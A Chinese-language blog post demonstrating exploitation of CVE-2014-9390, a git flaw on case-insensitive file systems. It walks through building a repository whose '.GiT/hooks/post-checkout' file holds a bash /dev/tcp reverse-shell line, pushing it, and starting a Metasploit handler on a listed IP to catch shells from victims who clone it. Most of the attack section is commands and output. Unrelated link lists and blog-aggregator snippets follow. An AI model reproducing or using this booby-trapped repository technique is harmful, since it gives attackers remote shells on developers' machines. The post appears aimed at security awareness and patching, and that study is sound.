One git command may cause you hacked(CVE-2014-9390)
0x00 背景
CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announced 和http://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。
让我们以渗透测试的角度来看看这个漏洞。
0x01 准备
我创建了一个命名为CVE-2014-9390的新项目。

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。
|
1
2
3
4
5
6
7
8
9
10
|
root@rootlab:~/cve-2014-9390# mkdir .GiTroot@rootlab:~/cve-2014-9390# cd .GiT/root@rootlab:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txtroot@rootlab:~/cve-2014-9390/.GiT# cd ..root@rootlab:~/cve-2014-9390# git add .root@rootlab:~/cve-2014-9390# git commit -m 'poc'[master bec157d] poc1 file changed, 1 insertion(+)create mode 100644 .GiT/vulnerable.txtroot@rootlab:~/cve-2014-9390# git push |
我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看
|
1
2
3
4
5
6
7
8
9
|
rootlab@MINCE ~$ git clone git@gitlab.com:mehmet/cve-2014-9390.gitCloning into 'cve-2014-9390'...Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':remote: Counting objects: 7, done.remote: Compressing objects: 100% (3/3), done.remote: Total 7 (delta 0), reused 0 (delta 0)RReceiving objects: 100% (7/7), done.Checking connectivity... done. |
给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

0x02 利用
什么是git的hooks
与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。
当执行git命令如git pull和git checkout时就可以执行客户端的脚本。
如何实现git hooks?
重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。
我们创建一个假的git目录然后建立一个叫post-checkout的文件。
|
1
2
3
4
5
6
7
8
9
|
root@rootlab:~/cve-2014-9390# mkdir .GiT/hooksroot@rootlab:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkoutroot@rootlab:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkoutroot@rootlab:~/cve-2014-9390# git add .root@rootlab:~/cve-2014-9390# git commit -m 'add reverse connection payload'[master 389c979] add powershell payload1 file changed, 4 insertions(+)create mode 100644 .GiT/hooks/post-checkoutroot@rootlab:~//cve-2014-9390# git push |
我们在服务器端监听
|
1
2
3
4
5
6
7
|
msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD generic/shell_reverse_tcpmsf exploit(handler) > set LPORT 443msf exploit(handler) > set LHOST 108.61.164.142msf exploit(handler) > exploit[*] Started reverse handler on 108.61.164.142:443[*] Starting the payload handler... |
我们clone https://gitlab.com/mehmet/cve-2014-9390

看起来都是很正常,但是……

One git command may cause you hacked(CVE-2014-9390)的更多相关文章
- [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案
[Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案 问题情景 使用SourceTree,可以方便开发人员快速的套用GitFlow开发 ...
- Cordova 3.0 Plugin 安装 及"git" command line tool is not installed
根据http://docs.phonegap.com/en/edge/guide_cli_index.md.html#The%20Command-line%20Interface Windows命令行 ...
- [Practical Git] Navigate git command pager output with Unix less commands
When using a git command that can have a large amount of output (like git log, git diff, or git blam ...
- git: command not found
在使用git时,出现“git: command not found”的情况,于是使用yum安装: [root@localhost ~]# yum install -y gitLoaded plugin ...
- 警告: git command could not be found. Please create an alias or add it to yo
5 Answers active answertab=oldest#tab-top" title="Answers in the order they were provided& ...
- Git Command之Code Review
原文链接 准备 Step 1. Create a team and add a teammate Step 2. Create a repository with some content 应用 Cl ...
- git command
下载github代码 git clone https://github.com/zhoug2020/2015.git 在github上创建仓库: Create a new repository on ...
- git command line 提交代码
echo "# spring-boot-apollo-demo" >> README.md git init git add README.md git commit ...
- 解决git: 'subtree' is not a git command. See 'git --help'.
一.第一方法 git clone https://github.com/git/git.git cd git/contrib/subtree sudo make prefix=/usr sudo ma ...
随机推荐
- export 命令 设置环境变量
export KERN_DIR=/usr/src/kernels/2.6.18-194.11.1.el5-x86_64 设置环境变量 内核加载目录
- Android GridView 一行显示数据(包括图片和文本),解决的办法是计算数据占该行的宽度是多少
最近在做图片的浏览功能,开始是使用Gallery做,但是,达不到我想要的效果,关于使用Gallery显示缩略图的缺点和优点,不在详述了.以下是一个完整的Demo代码,注意我的模拟器是640*960. ...
- mysql --batch --skip-column-name --execute 使用
mysql -h 127.0.0.1 -P 3306 -u root -p -D test --batch --skip-column-name --execute="select * fr ...
- WCF - 序列化
数据是信息的载体 在不同环境中有不同的类型 为保证处于不同平台的的应用能够正常的进行数据交互 必须采用一种双方都能理解的数据类型 XML无疑是最好的选择 但不是唯一的选择 例如JSON也是一种普遍认可 ...
- win主机用web.config和httpd.ini实现301重定向
当你准备好好看这篇文章的时候,你应该已经知道了301重定向的作用与意义了,那么这里就不多加解释了. 那么我唯一想提的就是关于域名带与不带www的区别,并且301重定在其中的意义,详情:域名带与不带ww ...
- iOS-UIResponse之事件响应链及其事件传递
UIResponse之事件响应链及其事件传递 我们的App与用户进行交互,基本上是依赖于各种各样的事件.一个视图是一个事件响应者,可以处理点击等事件,而这些事件就是在UIResponder类中定义的. ...
- WPF RichTextBox滚动条自动滚动实例、文本自动滚动实例
说明:1.后台代码添加测试 数据 2.使用 richTextBox.ScrollToVerticalOffset()方法,滚动竖直方向滚动条位置 3.使用定时器DispatcherTimer,修改页面 ...
- ViewPager和SwipeRefreshLayout之间嵌套使用时发生"事件"冲突
有时候我们会有一种需求,一个ViewPager有n个页面,每个页面是一个Fragment,在Fragment中使用了具有垂直滑动属性的控件,比如SwipeRefreshLayout!!! 这时二者之间 ...
- 进程识别号(PID)的理解
PID(Process Identification)操作系统里指进程识别号,也就是进程标识符.操作系统里每打开一个程序都会创建一个进程ID,即PID. PID(进程控制符)英文全称为Process ...
- 层模型--绝对定位(position:absolute)
如果想为元素设置层模型中的绝对定位,需要设置position:absolute(表示绝对定位),这条语句的作用将元素从文档流中拖出来,然后使用left.right.top.bottom属性相对于其最接 ...